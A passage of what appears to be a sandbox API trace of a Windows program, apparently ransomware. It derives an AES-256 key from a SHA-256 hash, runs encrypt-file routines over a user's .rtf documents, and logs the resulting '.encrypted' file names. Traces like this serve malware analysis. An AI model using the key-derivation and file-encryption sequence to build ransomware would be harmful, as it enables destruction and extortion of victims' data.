lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\84P_4rzx.encrypted.rtf\r\n", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0024.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\84P_4rzx.encrypted.rtf\r\n", cchWideChar=61, lpMultiByteStr=0xe8f40513b0, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\84P_4rzx.encrypted.rtf\r\n", lpUsedDefaultChar=0x0) returned 61 [0024.185] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4051950*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051950*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3c, lpOverlapped=0x0) returned 1 [0024.185] CloseHandle (hObject=0x188) returned 1 [0024.188] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.188] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.188] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.188] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.188] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.188] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.188] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.189] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.189] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41784c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.190] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.190] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.rtf", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0024.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.rtf", cchWideChar=70, lpMultiByteStr=0xe8f4051090, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.rtf", lpUsedDefaultChar=0x0) returned 70 [0024.191] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.rtf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\-mcd0g9w-y6.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=70, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0024.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=70, lpWideCharStr=0xe8f405fe00, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.rtf") returned 70 [0024.192] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.192] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.193] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.193] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.194] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.194] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.194] CloseHandle (hObject=0x188) returned 1 [0024.194] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.194] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.194] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.194] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.194] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.194] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.194] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.194] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.195] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.195] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.195] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.195] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.195] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.195] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.196] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.196] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.196] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f406a550) returned 1 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.196] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.196] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.196] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.196] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.197] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.197] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.197] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.197] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.197] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.197] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.197] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.197] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.197] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.197] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.197] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.197] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.197] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.197] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.197] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.197] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.197] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.197] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.197] CryptCreateHash (in: hProv=0xe8f406a550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.198] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.198] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b090, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.198] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.198] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.198] CryptDeriveKey (in: hProv=0xe8f406a550, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.198] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.198] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.198] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.198] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0024.199] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.200] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.rtf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\-mcd0g9w-y6.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.200] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.200] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.200] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 